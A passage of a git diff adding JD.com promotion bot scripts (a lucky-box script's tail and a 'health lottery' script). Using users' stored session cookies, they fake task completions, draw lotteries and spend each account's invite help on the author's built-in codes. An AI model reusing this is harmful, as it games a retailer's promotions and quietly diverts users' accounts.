console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdGlobalMh() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdGlobalMh() { + try { + $.earn = 0 + $.score = 0 + $.beans = 0 + await getHome() + await getTask() + await getHome(true) + await showMsg() + } catch (e) { + $.logErr(e) + } +} + + +function showMsg() { + return new Promise(resolve => { + message += `本次运行获得${$.earn}碎片,${$.beans}京豆,共计${$.score}碎片` + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + resolve() + }) +} + +async function getHome(info = false) { + return new Promise(resolve => { + $.get(taskUrl("luckyBoxMainInfo", {"activityCode": actCode}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['code'] === '0') { + const {myLuckyBox, luckyBoxList, rewardBagList} = data.result.data + let beanBox = luckyBoxList.filter(vo => vo.boxMaterials.findIndex(bo => !!bo && bo.title === '京豆') > -1) + if (beanBox.length) { + beanBox = beanBox[0] + if (beanBox['orderNo'] !== '' && beanBox['openRecId'] !== '') { + console.log(`去打开盲盒`) + await openBox({ + "activityCode": actCode, + "orderNo": beanBox['orderNo'], + "openRecId": beanBox['openRecId'] + }) + } else { + if(parseInt(myLuckyBox.fragments)>=beanBox['boxFragments'] || data['result']['data']['isFirst']){ + console.log(`去购买盲盒`) + await buyBox({"buyType":20,"activityCode":actCode,"boxId":beanBox['boxId']}) + } + } + } + let bagList = rewardBagList.filter(vo=>!vo.isOpen&&vo.hasRightOpen) + for(let bag of bagList){ + console.log(`去打开${bag['id']}号福袋`) + await openBag({"activityCode":actCode,"id":bag['id']}) + } + if (info) { + $.earn = parseInt(myLuckyBox.fragments) - $.score + } + $.score = parseInt(myLuckyBox.fragments) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +async function openBag(body){ + return new Promise(resolve => { + $.get(taskUrl("receiveTaskRewardBag", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['code'] === '0') { + $.log(JSON.stringify(data.result.data)) + if(data['result']['data']['jingdouNums']){ + $.beans += parseInt(data['result']['data']['jingdouNums']) + console.log(`获得${data['result']['data']['jingdouNums']}京豆`) + } + } else { + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +async function getTask() { + return new Promise(resolve => { + $.get(taskUrl("myTask", {"activityCode": actCode}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['code'] === '0') { + const {timeLimitTask, commonTask} = data.result.data + let task = [...timeLimitTask, ...commonTask] + for (let vo of task) { + if (vo['taskName'] === '每日邀请好友') { + console.log(`您的好友助力码为 ${vo['jingCommand']['keyOpenapp'].match(/masterPin":"(.*)","/)[1]}`) + } + if (['70', '50', '30', '40'].includes(vo['taskType'])) { + if (vo['executedTimes'] === vo['totalTimes']) { + console.log(`${vo['taskName']}任务已完成`) + } else { + console.log(`去做${vo['taskName']}任务`) + for (let i = vo['executedTimes']; i < vo['totalTimes']; ++i) { + await doTask({ + "taskId": vo['taskId'], + "itemId": vo['itemId'], + "viewSeconds": vo['viewSeconds'], + "activityCode": actCode + }) + } + } + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function doTask(body) { + return new Promise(resolve => { + $.get(taskUrl("taskRun", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['code'] === '0') { + console.log(data['result']['message']) + + } else { + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function buyBox(body) { + return new Promise(resolve => { + $.get(taskUrl("buyBox", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['code'] === '0') { + console.log(data['result']['message']) + + } else { + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function openBox(body) { + return new Promise(resolve => { + $.get(taskUrl("openLuckyBox", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['code'] === '0') { + $.log(JSON.stringify(data.result.data)) + if(data['result']['data']['jingdouNums']){ + $.beans += parseInt(data['result']['data']['jingdouNums']) + console.log(`获得${data['result']['data']['jingdouNums']}京豆`) + } + } else { + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function taskUrl(function_id, body = {}) { + function getSign(data) { + let t = +new Date() + + return {sealsTs: t, seals: $.md5(`${data.taskId}${data.inviterPin?data.inviterPin:''}${t}Ea6YXT`)} + } + if(body['taskId']) { + body = {...body, ...getSign(body)} + } + + return { + url: `${JD_API_HOST}client.action?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=global_mart`, + headers: { + "Cookie": cookie, + "origin": "https://gmart.jd.com", + "referer": "https://gmart.jd.com/", + 'accept': 'application/json, text/plain, */*', + 'accept-encoding': 'gzip, deflate, br', + 'accept-language': 'zh-cn', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function taskPostUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_health.js b/activity/jd_health.js new file mode 100644 index 0000000..6d52d2a --- /dev/null +++ b/activity/jd_health.js @@ -0,0 +1,399 @@ +/* +健康抽奖机 ,活动于2020-12-31日结束 +脚本会给内置的码进行助力 +活动地址:https://h5.m.jd.com/babelDiy/Zeus/3HBUP66Gnx92mRt2bXbT9VamYWSx/index.html +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#健康抽奖机 +10 0 * * * jd_health.js, tag=健康抽奖机, enabled=true + +================Loon============== +[Script] +cron "10 0 * * *" script-path=jd_health.js,tag=健康抽奖机 + +===============Surge================= +健康抽奖机 = type=cron,cronexp="10 0 * * *",wake-system=1,timeout=3600,script-path=jd_health.js + +============小火箭========= +健康抽奖机 = type=cron,script-path=jd_health.js, cronexpr="10 0 * * *", timeout=3600, enable=true + */ +const $ = new Env('健康抽奖机'); + +const notify = $.isNode() ? require('../sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +const inviteCodes = [`P04z54XCjVUnoaW5nJcXCCyoR8C6i9QR16e`, 'P04z54XCjVUnoaW5m9cZ2T6jChKkh8FWbFAplQ', `P04z54XCjVUnoaW5u2ak7ZCdan1Bdbpik_F9ud7lznm`, `P04z54XCjVUnoaW5m9cZ2ariXVJwFN5uKHNqnc`]; +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat(); + await jdHealth() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdHealth() { + await helpFriends(); + await jdhealth_getTaskDetail(); + await doTask(); + await jdhealth_getTaskDetail(0); + if($.userInfo.scorePerLottery<=$.userInfo.userScore){ + console.log(`当前用户金币: ${$.userInfo.userScore},抽奖需要${$.userInfo.scorePerLottery},开始抽奖`) + message += `当前用户金币: ${$.userInfo.userScore},抽奖需要${$.userInfo.scorePerLottery},开始抽奖\n` + for(let i=0;i { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + if (new Date().getHours() === 23) { + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) continue + const helpRes = await jdhealth_collectScore(code,6,null); + if (helpRes.code === 0 && helpRes.data.bizCode === -7) { + console.log(`助力机会已耗尽,跳出`); + break + } + } +} +async function doTask() { + for (let item of $.taskVos) { + if (item.taskType === 9||item.taskType === 26) { + //逛会场任务 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`) + for (let task of item.shoppingActivityVos) { + if (task.status === 1) { + await jdhealth_collectScore(task.taskToken,item.taskId,task.itemId,1); + await $.wait(15000) + await jdhealth_collectScore(task.taskToken,item.taskId,task.itemId,0); + } + } + } else if(item.status!==4){ + console.log(`${item.taskName}已做完`) + } + } + + if (item.taskType === 21) { + // 会员任务 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + for (let task of item.brandMemberVos) { + if (task.status === 1) { + await jdhealth_collectScore(task.taskToken,item.taskId,task.itemId,1); + await jdhealth_collectScore(task.taskToken,item.taskId,task.itemId,0); + } + } + } else if(item.status!==4){ + console.log(`${item.taskName}已做完`) + } + } + } +} + +//领取做完任务的奖励 +function jdhealth_collectScore(taskToken, taskId, itemId, actionType=0) { + return new Promise(resolve => { + let body = { "appId":"1EFRTwg","taskToken":taskToken,"taskId":taskId,"itemId":itemId,"actionType":actionType } + $.post(taskPostUrl("harmony_collectScore", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.data.bizCode === 1){ + console.log(`任务领取成功`); + message += `任务领取成功\n` + } + else if (data.data.bizCode === 0) { + if(data.data.result.taskType===6){ + console.log(`助力好友:${data.data.result.itemId}成功!`) + message += `助力好友:${data.data.result.itemId}成功!\n` + }else { + console.log(`任务完成成功`); + message += `任务完成成功!\n` + } + + } else { + console.log(`${data.data.bizMsg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 抽奖 +function jdhealth_getLottery() { + return new Promise(resolve => { + let body = { "appId":"1EFRTwg"} + $.post(taskPostUrl("interact_template_getLotteryResult", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + console.log(`抽奖成功,获得:${JSON.stringify(data.data.result.userAwardsCacheDto)}`); + message+= `抽奖成功,获得:${JSON.stringify(data.data.result.userAwardsCacheDto)}\n` + } else { + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function jdhealth_getTaskDetail(get=1) { + return new Promise(resolve => { + $.post(taskPostUrl("healthyDay_getHomeData", {"appId":"1EFRTwg","taskToken":""}, ), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.taskVos = data.data.result.taskVos;//任务列表 + $.userInfo = data.data.result.userInfo; + if(get) + $.taskVos.map(item => { + if (item.taskType === 14) { + console.log(`\n您的${$.name}好友助力邀请码:${item.assistTaskDetailVo.taskToken}\n`) + message += `\n您的${$.name}好友助力邀请码:${item.assistTaskDetailVo.taskToken}\n` + } + }) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: `http://api.turinglabs.net/api/v1/jd/jdhealth/read/${randomCount}/`}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + // await $.wait(2000); + // resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = null //await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + const shareCodes = [] //$.isNode() ? require('./jdSplitShareCodes.js') : ''; + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + +function taskPostUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=9.1.0`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') 